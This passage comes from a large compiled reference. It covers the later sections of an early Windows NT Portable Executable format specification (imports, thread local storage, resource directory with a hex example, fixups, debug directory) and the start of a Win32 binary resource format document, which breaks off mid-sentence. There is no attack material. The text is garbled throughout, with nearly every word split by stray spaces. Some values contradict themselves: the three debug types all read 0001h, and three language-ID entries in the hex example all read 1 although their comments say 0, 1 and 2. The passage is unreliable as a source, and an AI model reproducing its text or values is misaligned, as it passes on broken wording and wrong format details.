A t ypi cal f i l e l ayout f or t he i mpor t i nf or mat i on f ol l ows:


DI RECTORY TABLE




NULL DI R ENTRY



DLL1 LOOKUP TABLE


NULL



DLL2 LOOKUP TABLE


NULL



Dl l 3 LOOKUP TABLE


NULL



HI NT- NAME TABLE




DLL1 ADDRESS TABLE


NULL
Pagina 474 di 991



DLL2 ADDRESS TABLE


NULL



DLL3 ADDRESS TABLE


NULL


Fi gur e 8. I mpor t Fi l e Layout

6. 1 I mpor t Di r ect or y Tabl e

The i mpor t i nf or mat i on begi ns wi t h t he I mpor t Di r ect or y Tabl e whi ch
descr i bes t he r emai nder of t he i mpor t i nf or mat i on. The I mpor t
Di r ect or y Tabl e cont ai ns addr ess i nf or mat i on t hat i s used t o r esol ve
f i xup r ef er ences t o t he ent r y poi nt s wi t hi n a DLL i mage. The i mpor t
di r ect or y t abl e consi st s of an ar r ay of I mpor t Di r ect or y Ent r i es, one
ent r y f or each DLL t hi s i mage r ef er ences. The l ast di r ect or y ent r y i s
empt y ( NULL) whi ch i ndi cat es t he end of t he di r ect or y t abl e.

An I mpor t Di r ect or y Ent r y has t he f ol l owi ng f or mat :


I MPORT FLAGS

TI ME/ DATE STAMP

MAJ OR VERSI ON MI NOR VERSI ON

NAME RVA

I MPORT LOOKUP TABLE RVA

I MPORT ADDRESS TABLE RVA


Fi gur e 9. I mpor t Di r ect or y Ent r y

I MPORT FLAGS = DD Cur r ent l y set t o zer o.

TI ME/ DATE STAMP = DD Ti me/ Dat e t he i mpor t dat a was pr e- snapped or
zer o i f not pr e- snapped.

MAJ OR/ MI NOR VERSI ON = DW The maj or / mi nor ver si on number of t he dl l
bei ng r ef er enced.

NAME RVA = DD Rel at i ve Vi r t ual Addr ess of t he Dl l asci i z Name.
Thi s i s t he addr ess r el at i ve t o t he I mage Base.

I MPORT LOOKUP TABLE RVA = DD Thi s f i el d cont ai ns t he addr ess of t he
st ar t of t he i mpor t l ookup t abl e f or t hi s i mage. The addr ess i s
r el at i ve t o t he begi nni ng of t he I mage Base.

I MPORT ADDRESS TABLE RVA = DD Thi s f i el d cont ai ns t he addr ess of t he
st ar t of t he i mpor t addr esses f or t hi s i mage. The addr ess i s
Pagina 475 di 991
r el at i ve t o t he begi nni ng of t he I mage Base.

6. 2 I mpor t Lookup Tabl e

The I mpor t Lookup Tabl e i s an ar r ay of or di nal or hi nt / name RVA' s f or
each DLL. The l ast ent r y i s empt y ( NULL) whi ch i ndi cat es t he end of
t he t abl e.

The l ast el ement i s empt y.

3 0
1

0 ORDI NAL#/ HI NT- NAME TABLE RVA


Fi gur e 10. I mpor t Addr ess Tabl e For mat

ORDI NAL/ HI NT- NAME TABLE RVA = 31- bi t s ( mask = 7f f f f f f f h) Or di nal
Number or Name Tabl e RVA.
I f t he i mpor t i s by or di nal , t hi s f i el d cont ai ns a 31 bi t or di nal
number . I f t he i mpor t i s by name, t hi s f i el d cont ai ns a 31 bi t
addr ess r el at i ve t o t he I mage Base t o t he Hi nt - Name Tabl e.

O = 1- bi t ( mask = 80000000h) I mpor t by or di nal f l ag.

o 00000000h __I mpor t by name.

o 80000000h __I mpor t by or di nal .

6. 3 Hi nt - Name Tabl e

The Hi nt - Name Tabl e f or mat f ol l ows:


HI NT ASCI I STRI NG | | |

| | | | | | | | | | | | | | | | | ' \ 0' PAD



The PAD f i el d i s opt i onal .

Fi gur e 11. I mpor t Hi nt - Name Tabl e

HI NT = DWHi nt i nt o Expor t Name Tabl e Poi nt er s.
The hi nt val ue i s used t o i ndex t he Expor t Name Tabl e Poi nt er s ar r ay,
al l owi ng f ast er by- name i mpor t s. I f t he hi nt i s i ncor r ect , t hen a
bi nar y sear ch i s per f or med on t he Expor t Name Pt r Tabl e.

ASCI I STRI NG = DB ASCI I St r i ng.
The st r i ng i s case sensi t i ve and i s t er mi nat ed by a nul l byt e.

PAD = DB Zer o pad byt e.
A t r ai l i ng zer o pad byt e appear s af t er t he t r ai l i ng nul l byt e i f
necessar y t o al i gn t he next ent r y on an even boundar y.

The l oader over wr i t es t he i mpor t addr ess t abl e when l oadi ng t he i mage
wi t h t he 32- bi t addr ess of t he i mpor t .



6. 4 I mpor t Addr ess Tabl e
Pagina 476 di 991

The I mpor t Addr ess Tabl e i s an ar r ay of addr esses of t he i mpor t ed
r out i nes f or each DLL. The l ast ent r y i s empt y ( NULL) whi ch i ndi cat es
t he end of t he t abl e.

7. Thr ead Local St or age

Thr ead l ocal st or age i s a speci al cont i guous bl ock of dat a. Each
t hr ead wi l l get s i t s own bl ock upon cr eat i on of t he t hr ead.

The f i l e l ayout f or t hr ead l ocal st or age f ol l ows:

DI RECTORY TABLE


TLS DATA


I NDEX VARI ABLE


CALLBACK ADDRESSES


Fi gur e 12. Thr ead Local St or age Layout

7. 1 Thr ead Local St or age Di r ect or y Tabl e

The Thr ead Local St or age Di r ect or y Tabl e cont ai ns addr ess i nf or mat i on
t hat i s used t o descr i be t he r est of TLS.

The Thr ead Local St or age Di r ect or y Tabl e has t he f ol l owi ng f or mat :


START DATA BLOCK VA

END DATA BLOCK VA

I NDEX VA

CALLBACK TABLE VA


Fi gur e 13. Thr ead Local St or age Di r ect or y Tabl e

START DATA BLOCK VA = DD Vi r t ual Addr ess of t he st ar t of t he t hr ead
l ocal st or age dat a bl ock.

END DATA BLOCK VA = DD Vi r t ual Addr ess of t he end of t he t hr ead l ocal
st or age dat a bl ock.

I NDEX VA = DD Vi r t ual Addr ess of t he i ndex var i abl e used t o access
t he t hr ead l ocal st or age dat a bl ock.

CALLBACK TABLE VA = DD Vi r t ual Addr ess of t he cal l back t abl e.

7. 2 Thr ead Local St or age Cal l Back Tabl e

The Thr ead Local St or age Cal l backs i s an ar r ay of Vi r t ual Addr ess of
f unct i ons t o be cal l ed by t he l oader af t er t hr ead cr eat i on and t hr ead
t er mi nat i on. The l ast ent r y i s empt y ( NULL) whi ch i ndi cat es t he end
of t he t abl e.

Pagina 477 di 991
The Thr ead Local St or age Cal l Back Tabl e has t he f ol l owi ng f or mat :


FUNCTI ON1 VA

FUNCTI ON2 VA



NULL


Fi gur e 14. Thr ead Local St or age Cal l Back Tabl e

8. Resour ces

Resour ces ar e i ndexed by a mul t i pl e l evel bi nar y- sor t ed t r ee
st r uct ur e. The over al l desi gn can i ncor por at e 2**31 l evel s, however ,
NT uses onl y t hr ee: t he hi ghest i s TYPE, t hen NAME, t hen LANGUAGE.

A t ypi cal f i l e l ayout f or t he r esour ce i nf or mat i on f ol l ows:

RESOURCE DI RECTORY




RESOURCE DATA








Fi gur e 15. Resour ce Fi l e Layout


The Resour ce di r ect or y i s made up of t he f ol l owi ng t abl es:



8. 1 Resour ce Di r ect or y Tabl e

RESOURCE FLAGS

TI ME/ DATE STAMP

MAJ OR VERSI ON MI NOR VERSI ON

# NAME ENTRY # I D ENTRY

RESOURCE DI R ENTRI ES


Fi gur e 16. Resour ce Tabl e Ent r y


RESOURCE FLAGS = DD Cur r ent l y set t o zer o.

TI ME/ DATE STAMP = DD Ti me/ Dat e t he r esour ce dat a was cr eat ed by t he
r esour ce compi l er .
Pagina 478 di 991

MAJ OR/ MI NOR VERSI ON = DW A user set t abl e maj or / mi nor ver si on number .

# NAME ENTRY = DWThe number of name ent r i es.
Thi s f i el d cont ai ns t he number of ent r i es at t he begi nni ng of t he
ar r ay of di r ect or y ent r i es whi ch have act ual st r i ng names associ at ed
wi t h t hem.

# I D ENTRY = DWThe number of I D i nt eger ent r i es.
Thi s f i el d cont ai ns t he number of 32- bi t i nt eger I Ds as t hei r names
i n t he ar r ay of di r ect or y ent r i es.

The r esour ce di r ect or y i s f ol l owed by a var i abl e l engt h ar r ay of
di r ect or y ent r i es. # NAME ENTRY i s t he number of ent r i es at t he
begi nni ng of t he ar r ay t hat have act ual names associ at ed wi t h each
ent r y. The ent i r es ar e i n ascendi ng or der , case i nsensi t i ve st r i ngs.
# I D ENTRY i dent i f i es t he number of ent r i es t hat have 32- bi t i nt eger
I Ds as t hei r name. These ent r i es ar e al so sor t ed i n ascendi ng or der .

Thi s st r uct ur e al l ows f ast l ookup by ei t her name or number , but f or
any gi ven r esour ce ent r y onl y one f or mof l ookup i s suppor t ed, not
bot h. Thi s i s consi st ent wi t h t he synt ax of t he . RC f i l e and t he . RES
f i l e.



The ar r ay of di r ect or y ent r i es have t he f ol l owi ng f or mat :
3 0
1

NAME RVA/ I NTEGER I D

E DATA ENTRY RVA/ SUBDI R RVA


Fi gur e 17. Resour ce Di r ect or y Ent r y


I NTERGER I D = DD I D.
Thi s f i el d cont ai ns a i nt eger I D f i el d t o i dent i f y a r esour ce.

NAME RVA = DD Name RVA addr ess.
Thi s f i el d cont ai ns a 31- bi t addr ess r el at i ve t o t he begi nni ng of t he
I mage Base t o a Resour ce Di r ect or y St r i ng Ent r y.

E = 1- bi t ( mask 80000000h) Unescape bi t .
Thi s bi t i s zer o f or unescaped Resour ce Dat a Ent r i es.

DATA RVA = 31- bi t s ( mask 7f f f f f f f h) Dat a ent r y addr ess.
Thi s f i el d cont ai ns a 31- bi t addr ess r el at i ve t o t he begi nni ng of t he
I mage Base t o a Resour ce Dat a Ent r y.

E = 1- bi t ( mask 80000000h) Escape bi t .
Thi s bi t i s 1 f or escaped Subdi r ect or y Ent r y.

DATA RVA = 31- bi t s ( mask 7f f f f f f f h) Di r ect or y ent r i es.
Thi s f i el d cont ai ns a 31- bi t addr ess r el at i ve t o t he begi nni ng of t he
I mage Base t o Subdi r ect or y Ent r y.



Each r esour ce di r ect or y st r i ng ent r y has t he f ol l owi ng f or mat :

Pagina 479 di 991
LENGTH UNI CODE STRI NG




Fi gur e 18. Resour ce Di r ect or y St r i ng Ent r y


LENGTH = DWLengt h of st r i ng.

UNI CODE STRI NG = DWUNI CODE St r i ng.

Al l of t hese st r i ng obj ect s ar e st or ed t oget her af t er t he l ast
r esour ce di r ect or y ent r y and bef or e t he f i r st r esour ce dat a obj ect .
Thi s mi ni mi zes t he i mpact of t hese var i abl e l engt h obj ect s on t he
al i gnment of t he f i xed si ze di r ect or y ent r y obj ect s. The l engt h needs
t o be wor d al i gned.



Each Resour ce Dat a Ent r y has t he f ol l owi ng f or mat :


DATA RVA

SI ZE

CODEPAGE

RESERVED


Fi gur e 19. Resour ce Dat a Ent r y



DATA RVA = DD Addr ess of Resour ce Dat a.
Thi s f i el d cont ai ns 32- bi t vi r t aul addr ess of t he r esour ce dat a
( r el at i ve t o t he I mage Base) .

SI ZE = DD Si ze of Resour ce Dat a.
Thi s f i el d cont ai ns t he si ze of t he r esour ce dat a f or t hi s r esour ce.

CODEPAGE = DD Codepage.

RESERVED = DD Reser ved - must be zer o.

Each r esour ce dat a ent r y descr i bes a l eaf node i n t he r esour ce
di r ect or y t r ee. I t cont ai ns an addr ess whi ch i s r el at i ve t o t he
begi nni ng of I mage Base, a si ze f i el d t hat gi ves t he number of byt es
of dat a at t hat addr ess, a CodePage t hat shoul d be used when decodi ng
code poi nt val ues wi t hi n t he r esour ce dat a. Typi cal l y f or new
appl i cat i ons t he code page woul d be t he uni code code page.



8. 2 Resour ce Exampl e

The f ol l owi ng i s an exampl e f or an app. whi ch want s t o use t he f ol l owi ng dat a
as r esour ces:

TypeI d# NameI d# Language I D Resour ce Dat a
00000001 00000001 0 00010001
Pagina 480 di 991
00000001 00000001 1 10010001
00000001 00000002 0 00010002
00000001 00000003 0 00010003
00000002 00000001 0 00020001
00000002 00000002 0 00020002
00000002 00000003 0 00020003
00000002 00000004 0 00020004
00000009 00000001 0 00090001
00000009 00000009 0 00090009
00000009 00000009 1 10090009
00000009 00000009 2 20090009

Then t he Resour ce Di r ect or y i n t he Por t abl e f or mat l ooks l i ke:
Of f set Dat a
0000: 00000000 00000000 00000000 00030000 ( 3 ent r i es i n t hi s di r ect or y)
0010: 00000001 80000028 ( TypeI d #1, Subdi r ect or y at of f set 0x28)
0018: 00000002 80000050 ( TypeI d #2, Subdi r ect or y at of f set 0x50)
0020: 00000009 80000080 ( TypeI d #9, Subdi r ect or y at of f set 0x80)
0028: 00000000 00000000 00000000 00030000 ( 3 ent r i es i n t hi s di r ect or y)
0038: 00000001 800000A0 ( NameI d #1, Subdi r ect or y at of f set 0xA0)
0040: 00000002 00000108 ( NameI d #2, dat a desc at of f set 0x108)
0048: 00000003 00000118 ( NameI d #3, dat a desc at of f set 0x118)
0050: 00000000 00000000 00000000 00040000 ( 4 ent r i es i n t hi s di r ect or y)
0060: 00000001 00000128 ( NameI d #1, dat a desc at of f set 0x128)
0068: 00000002 00000138 ( NameI d #2, dat a desc at of f set 0x138)
0070: 00000003 00000148 ( NameI d #3, dat a desc at of f set 0x148)
0078: 00000004 00000158 ( NameI d #4, dat a desc at of f set 0x158)
0080: 00000000 00000000 00000000 00020000 ( 2 ent r i es i n t hi s di r ect or y)
0090: 00000001 00000168 ( NameI d #1, dat a desc at of f set 0x168)
0098: 00000009 800000C0 ( NameI d #9, Subdi r ect or y at of f set 0xC0)
00A0: 00000000 00000000 00000000 00020000 ( 2 ent r i es i n t hi s di r ect or y)
00B0: 00000000 000000E8 ( Language I D 0, dat a desc at of f set 0xE8
00B8: 00000001 000000F8 ( Language I D 1, dat a desc at of f set 0xF8
00C0: 00000000 00000000 00000000 00030000 ( 3 ent r i es i n t hi s di r ect or y)
00D0: 00000001 00000178 ( Language I D 0, dat a desc at of f set 0x178
00D8: 00000001 00000188 ( Language I D 1, dat a desc at of f set 0x188
00E0: 00000001 00000198 ( Language I D 2, dat a desc at of f set 0x198

00E8: 000001A8 ( At of f set 0x1A8, f or TypeI d #1, NameI d #1, Language i d #0
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
00F8: 000001AC ( At of f set 0x1AC, f or TypeI d #1, NameI d #1, Language i d #1
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0108: 000001B0 ( At of f set 0x1B0, f or TypeI d #1, NameI d #2,
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0118: 000001B4 ( At of f set 0x1B4, f or TypeI d #1, NameI d #3,
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0128: 000001B8 ( At of f set 0x1B8, f or TypeI d #2, NameI d #1,
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0138: 000001BC ( At of f set 0x1BC, f or TypeI d #2, NameI d #2,
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0148: 000001C0 ( At of f set 0x1C0, f or TypeI d #2, NameI d #3,
Pagina 481 di 991
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0158: 000001C4 ( At of f set 0x1C4, f or TypeI d #2, NameI d #4,
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0168: 000001C8 ( At of f set 0x1C8, f or TypeI d #9, NameI d #1,
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0178: 000001CC ( At of f set 0x1CC, f or TypeI d #9, NameI d #9, Language i d #0
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0188: 000001D0 ( At of f set 0x1D0, f or TypeI d #9, NameI d #9, Language i d #1
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)
0198: 000001D4 ( At of f set 0x1D4, f or TypeI d #9, NameI d #9, Language i d #2
00000004 ( 4 byt es of dat a)
00000000 ( codepage)
00000000 ( r eser ved)

And t he dat a f or t he r esour ces wi l l l ook l i ke:
01A8: 00010001
01AC: 10010001
01B0: 00010002
01B4: 00010003
01B8: 00020001
01BC: 00020002
01C0: 00020003
01C4: 00020004
01C8: 00090001
01CC: 00090009
01D0: 10090009
01D4: 20090009


9. Fi xup Tabl e

The Fi xup Tabl e cont ai ns ent r i es f or al l f i xups i n t he i mage. The
Tot al Fi xup Dat a Si ze i n t he PE Header i s t he number of byt es i n t he
f i xup t abl e. The f i xup t abl e i s br oken i nt o bl ocks of f i xups. Each
bl ock r epr esent s t he f i xups f or a 4K page.

Fi xups t hat ar e r esol ved by t he l i nker do not need t o be pr ocessed by
t he l oader , unl ess t he l oad i mage can' t be l oaded at t he I mage Base
speci f i ed i n t he PE Header .

9. 1 Fi xup Bl ock

Fi xup bl ocks have t he f ol l owi ng f or mat :


PAGE RVA

BLOCK SI ZE

TYPE/ OFFSET TYPE/ OFFSET

TYPE/ OFFSET . . .

Pagina 482 di 991

Fi gur e 20. Fi xup Bl ock For mat

To appl y a f i xup, a del t a needs t o be cal cul at ed. The 32- bi t del t a
i s t he di f f er ence bet ween t he pr ef er r ed base, and t he base wher e t he
i mage i s act ual l y l oaded. I f t he i mage i s l oaded at i t s pr ef er r ed
base, t he del t a woul d be zer o, and t hus t he f i xups woul d not have t o
be appl i ed. Each bl ock must st ar t on a DWORD boundar y. The ABSOLUTE
f i xup t ype can be used t o pad a bl ock.

PAGE RVA = DD Page RVA. The i mage base pl us t he page r va i s added t o
each of f set t o cr eat e t he vi r t ual addr ess of wher e t he f i xup needs t o
be appl i ed.

BLOCK SI ZE = DD Number of byt es i n t he f i xup bl ock. Thi s i ncl udes t he
PAGE RVA and SI ZE f i el ds.

TYPE/ OFFSET i s def i ned as:

1 1 0
5 1

TYPE OFFSET

Fi gur e 21. Fi xup Recor d For mat

TYPE = 4- bi t f i xup t ype. Thi s val ue has t he f ol l owi ng def i ni t i ons:

o 0h __ABSOLUTE. Thi s i s a NOP. The f i xup i s ski pped.

o 1h __HI GH. Add t he hi gh 16- bi t s of t he del t a t o t he 16- bi t f i el d
at Of f set . The 16- bi t f i el d r epr esent s t he hi gh val ue of a 32-
bi t wor d.

o 2h __LOW. Add t he l ow 16- bi t s of t he del t a t o t he 16- bi t f i el d
at Of f set . The 16- bi t f i el d r epr esent s t he l ow hal f val ue of a
32- bi t wor d. Thi s f i xup wi l l onl y be emi t t ed f or a RI SC machi ne
when t he i mage Obj ect Al i gn i sn' t t he def aul t of 64K.

o 3h __HI GHLOW. Appl y t he 32- bi t del t a t o t he 32- bi t f i el d at
Of f set .

o 4h __HI GHADJ UST. Thi s f i xup r equi r es a f ul l 32- bi t val ue. The
hi gh 16- bi t s i s l ocat ed at Of f set , and t he l ow 16- bi t s i s
l ocat ed i n t he next Of f set ar r ay el ement ( t hi s ar r ay el ement i s
i ncl uded i n t he SI ZE f i el d) . The t wo need t o be combi ned i nt o a
si gned var i abl e. Add t he 32- bi t del t a. Then add 0x8000 and
st or e t he hi gh 16- bi t s of t he si gned var i abl e t o t he 16- bi t
f i el d at Of f set .

o 5h __MI PSJ MPADDR.

Al l ot her val ues ar e r eser ved.



10. Debug I nf or mat i on

The debug i nf or mat i on i s def i ned by t he debugger and i s not
cont r ol l ed by t he por t abl e EXE f or mat or l i nker . The onl y dat a
def i ned by t he por t abl e EXE f or mat i s t he Debug Di r ect or y Tabl e.

10. 1 Debug Di r ect or y
Pagina 483 di 991

The debug di r ect or y t abl e consi st s of one or mor e ent r i es t hat have
t he f ol l owi ng f or mat :


DEBUG FLAGS

TI ME/ DATE STAMP

MAJ OR VERSI ON MI NOR VERSI ON

DEBUG TYPE

DATA SI ZE

DATA RVA

DATA SEEK


Fi gur e 22. Debug Di r ect or y Ent r y

DEBUG FLAGS = DD Set t o zer o f or now.

TI ME/ DATE STAMP = DD Ti me/ Dat e t he debug dat a was cr eat ed.

MAJ OR/ MI NOR VERSI ON = DWVer si on st amp.
Thi s st amp can be used t o det er mi ne t he ver si on of t he debug dat a.

DEBUG TYPE = DD For mat t ype.
To suppor t mul t i pl e debugger s, t hi s f i el d det er mi nes t he f or mat of
t he debug i nf or mat i on. Thi s val ue has t he f ol l owi ng def i ni t i ons:

o 0001h __I mage cont ai ns COFF symbol i cs.

o 0001h __I mage cont ai ns CodeVi ew symbol i cs.

o 0001h __I mage cont ai ns FPO symbol i cs.

DATA SI ZE = DD The number of byt es i n t he debug dat a. Thi s i s t he
si ze of t he act ual debug dat a and does not i ncl ude t he debug
di r ect or y.

DATA RVA = DD The r el at i ve vi r t ual addr ess of t he debug dat a. Thi s
addr ess i s r el at i ve t o t he begi nni ng of t he I mage Base.

DATA SEEK = DD The seek val ue f r omt he begi nni ng of t he f i l e t o t he
debug dat a.

I f t he i mage cont ai ns mor e t han one t ype of debug i nf or mat i on, t hen
t he next debug di r ect or y wi l l i mmedi at el y f ol l ow t he f i r st debug
di r ect or y.


Pagina 484 di 991
Wi n32 Bi nar y Resour ce For mat s

Aut hor : Fl oyd Roger s


Pr ef ace

Thi s document was edi t ed and r el eased by Mi cr osof t Devel oper
Suppor t . I t descr i bes t he bi nar y f or mat of r esour ces i n Wi n32. The
i nf or mat i on i s pr ovi ded at t hi s poi nt because we f eel i t wi l l make
t he wor k of appl i cat i on devel opment easi er . Unf or t unat el y, t he
i nf or mat i on i n t hi s document may change bef or e t he f i nal r el ease of
Wi ndows NT. Mi cr osof t i s NOT commi t t i ng t o st ay wi t h t hese f or mat s
by r el easi ng t hi s document . Quest i ons or f ol l ow- ups f or any of t he
i nf or mat i on pr esent ed her e shoul d be post ed t o CompuSer ve MSWI N32
f or um, sect i on 4.
- - St eve Fi r ebaugh
Mi cr osof t Devel oper Suppor t


1. Over vi ew
1. 1 Compar i son t o Wi ndows 16 ( Wi n 3. 0/ 3. 1)
1. 2 St r i ngs i n UNI CODE
1. 3 DWORD Al i gnment
2. Gener al i nf or mat i on
2. 1 New St at ement s
2. 1. 1 New But t on st at ement s
2. 1. 1. 1 AUTO3STATE
2. 1. 1. 2 AUTOCHECKBOX
2. 1. 1. 3 AUTORADI OBUTTON
2. 1. 1. 4 PUSHBOX
2. 1. 1. 5 STATE3 ( 3STATE)
2. 1. 1. 6 USERBUTTON
2. 1. 2 EXSTYLE st at ement
2. 1. 3 CHARACTERI STI CS st at ement
2. 1. 4 VERSI ON st at ement
2. 1. 5 LANGUAGE st at ement
2. 1. 6 MESSAGETABLE st at ement
2. 1. 6 Addi t i onal synt ax f or UNI CODE st r i ngs.
3. Resour ce Header For mat
3. 1 Dat aSi ze
3. 2 Header Si ze
3. 3 Type
3. 4 Names
3. 5 Addi t i onal Resour ce Header I nf or mat i on
3. 5. 1 Dat aVer si on
3. 5. 2 Memor yFl ags
3. 5. 3 LanguageI d
3. 5. 4 Ver si on and Char act er i st i cs
3. 6 Di f f er ent i at i ng 16 and 32- bi t r esour ce f i l es
3. 7 Fi l e al i gnment
4. Resour ce Dat a For mat
4. 1 Ver si on Resour ces
4. 2 I con Resour ces
4. 3 Menu Resour ces
4. 4 Di al og Box Resour ces
4. 5 Cur sor Resour ces
4. 6 Bi t map Resour ces
4. 7 Font and Font Di r ect or y Resour ces
4. 8 St r i ng Tabl e Resour ces
4. 9 Accel er at or Tabl e Resour ces
4. 10 User Def i ned Resour ces and RCDATA
4. 11 Name Tabl e and Er r or Tabl e Resour ces
Pagina 485 di 991
4. 12 Ver si on Resour ses
4. 13 Messaget abl e Resour ces
5. Revi si on Hi st or y




1. Over vi ew

Thi s document det ai l s t he st r uct ur e of t he r esour ce bi nar y f i l e
( . r es) f or mat f or t he Wi ndows 32 API ( Wi ndows NT 3. 1 and Wi n32s) .
The st r uct ur e i s si mi l ar t o t he exi st i ng Wi ndows 16 ( Wi n 3. 0/ 3. 1)
st r uct ur e, but suppor t s essent i al new f eat ur es such as UNI CODE
st r i ngs, ver si on header s, and DWORD al i gnment . To suppor t t hese
changes, t he f i l e f or mat wr i t t en by t he r esour ce compi l er must be
changed f r omt hat used by Wi ndows 16.

1. 1 Compar i son bet ween Wi ndows 3. 0/ 3. 1 and Wi ndows 32

The Wi ndows 16 r esour ce f i l e i s a f i l e cont ai ni ng one or mor e bi nar y
r esour ces. Each r esour ce i s pr eceded by a var i abl e l engt h st r uct ur e
cont ai ni ng: Type, Name, Fl ags, Si ze. The Type and Name f i el ds ar e
ei t her a st r i ng i dent i f yi ng t he Type or Name, or a WORD val ue
speci f yi ng t he or di nal i dent i t y of t he r esour ce. The Fl ags f i el d
speci f i es t o t he syst emhow t o l oad i nt o memor y t he r esour ce, and t he
si ze speci f i es t he si ze i n byt es of t he r esour ce. The si ze,
t her ef or e, poi nt s t o t he next r esour ce i n t he f i l e.

The Wi ndows 32 ( bot h NT and Wi n32s) r esour ce f i l e r et ai ns t hi s
st r uct ur e, whi l e expandi ng t he header i nf or mat i on wi t h sever al
addi t i onal val ues. I t al so adds a f ew f i el ds t o some of t he pr e-
def i ned r esour ces ( Menu and Di al og, f or i nst ance) , al i gns al l f i el ds
wi t hi n t he pr edef i ned r esour ces on WORD or DWORD boundar i es, and adds
UNI CODE ( 16- bi t char act er ) suppor t t o t he dat a st r uct ur es.

One addi t i onal di f f er ence i n r esour ce f i l es f or Wi ndows 32 i s wor t h
not i ng. Thi s does not di r ect l y af f ect t he st r uct ur e of t he r esour ce
f i l e, but i s r at her a di f f er ence i n how r esour ce f i l es ar e handl ed
and i ncor por at ed i nt o an execut abl e i mage ( dl l or exe) . Wi ndows NT
uses COFF f or mat obj ect s. Because of t hi s, and t he f act t hat t he
Wi ndows 32 exe f or mat i s much di f f er ent t han t he Wi ndows 16 f or mat ,
t he SDK pr ovi des a ut i l i t y named CVTRES t hat conver t s a r esour ce f i l e
i nt o a COFF obj ect . The l i nker t hen i ncor por at es t hi s obj ect
di r ect l y i nt o t he r esul t i ng execut abl e i mage. No pr ovi si on i s made
( as i n Wi ndows 16) f or r unni ng t he second pass of t he r esour ce
compi l er mul t i pl e t i mes t o updat e t he r esour ces: r el i nki ng t he i mage
i s r equi r ed.

However , t he Wi ndows 32 API pr ovi des a set of API s t hat al l ow a
pr ogr amt o enumer at e al l r esour ces wi t hi n an execut abl e i mage, and
updat e i ndi vi dual r esour ces i n t he i mage.

1. 2 St r i ngs i n UNI CODE

Al l st r i ngs i n a r esour ce f i l e ar e now st or ed i n UNI CODE f or mat . I n
t hi s f or mat , al l char act er s ar e r epr esent ed by a 16- bi t ( WORD) val ue.
The f i r st 128 char act er s ar e i dent i cal t o t he 128 char act er s i n t he
Wi ndows ANSI char act er set ( al t hough t he char act er s ar e r epr esent ed
by 16 bi t s each r at her t han 8bi t s) . The char act er s i n posi t i ons 160-
254 ar e si mi l ar t o t he char act er s i n t he st andar d Wi ndows char act er
set ( not e t hat t he char act er s 128- 159 ar e i l l egal Uni code
codepoi nt s) . Thi s means t hat t hey ar e t er mi nat ed wi t h a UNI CODE_NULL
symbol r at her t han a si ngl e NULL. The r esour ce compi l er t r ansl at es
Pagina 486 di 991
al l nor mal ASCI I st r i ngs i nt o UNI CODE by cal l i ng t he
Mul t i Byt eToWi deChar f unct i on pr ovi ded by t he Wi ndows API . Al l
escaped char act er s ar e st or ed di r ect l y, and ar e assumed t o be val i d
UNI CODE char act er s f or t he r esour ce. I f t hese st r i ngs ar e r ead i n
l at er by an appl i cat i on as ASCI I ( f or i nst ance, by cal l i ng t he
LoadSt r i ng api ) , t hey wi l l be conver t ed back f r omUNI CODE t o ASCI I
t r anspar ent l y by t he l oader .

The onl y except i on t o t he r ul e i s st r i ngs i n RCDATA st at ement s.
These psuedo- st r i ngs ar e not r eal st r i ngs, but mer el y a conveni ent
not at i on f or a col l ect i on of byt es. User s may over l ay a st r uct ur e
over t he dat a f r oman RCDATA st at ement , and expect cer t ai n dat a t o be
at cer t ai n of f set s. I f a psuedo- st r i ng get s aut omat i cal l y changed
i nt o a UNI CODE st r i ng, i t t hi ngs woul d i nadver t ent l y change t he
of f set s of t hi ngs i n t he st r uct ur e and br eak t hose appl i cat i ons.
Hence, t hese psuedo- st r i ngs must be l ef t as ASCI I byt es. To speci f y
a UNI CODE st r i ng i nsi de an RCDATA st at ement , t he user shoul d use t he
expl i ci t L- quot ed st r i ng.

1. 3 DWORD Al i gnment

To make r esour ce bi nar y f i l es easi er t o r ead under Wi ndows 32, al l
obj ect s wi t hi n t he f i l e ar e t o be DWORD al i gned. Thi s i ncl udes
header s, as wel l as dat a ent r i es. Thi s does not usual l y ent ai l
changes i n t he or der of t he f i el ds of r esour ce dat a st r uct ur es, but
does ent ai l t he need f or some paddi ng bet ween f i el ds.

The si ngl e except i on t o t hi s r ul e i s t he f ont and f ont di r st r uct ur es.
The r eason f or t he except i on i s t hat t hese t wo st r uct ur es ar e copi ed
di r ect l y f r omot her f i l es, and ar e not used by RC.

2. Gener al i nf or mat i on

The r esour ce f i l e i s cr eat ed by t he r esour ce compi l er ( RC) whi l e
par si ng t he r esour ce scr i pt f i l e ( . RC) and i ncl udi ng any ot her
r esour ce dat a f i l es ( eg. . I CO, . CUR, . BMP, . FNT) . The r esour ce f i l e
cont ai ns al l i nf or mat i on necessar y t o bui l d t he r esour ce t abl e i n t he
execut abl e i mage. The mai n pur pose of t he r esour ce f i l e i s t o speed
t he edi t - compi l e- l i nk cycl e by not al ways f or ci ng r esour ce t o be
r ecompi l ed.

Ther e ar e cur r ent l y about a dozen pr e- def i ned r esour ce t ypes. These
i ncl ude Menus, Di al ogs, Accel er at or s, St r i ngs, I cons, Cur sor s,
Bi t maps, Font s and Ver si on. These r esour ces ar e used by t he Wi ndows
syst emt o def i ne t he appear ance of t he appl i cat i on wi ndow. The
r esour ce scr i pt al l ows t he appl i cat i on wr i t er t o r epr esent t hese
f eat ur es i n an easi l y edi t abl e f or m. Ot her t ype r anges ar e r eser ved
f or use by t he appl i cat i on f or appl i cat i on- speci f i c dat a. No at t empt
i s made by t he r esour ce compi l er t o modi f y t hi s user - def i ned dat a
f r om16- bi t t o 32- bi t f or mat .

The execut abl e i mage f i l e f or Wi ndows 32 i s not a Segment ed i mage.
I n t he 16- bi t execut abl e i mage f i l e, each r esour ce was pl aced i nt o a
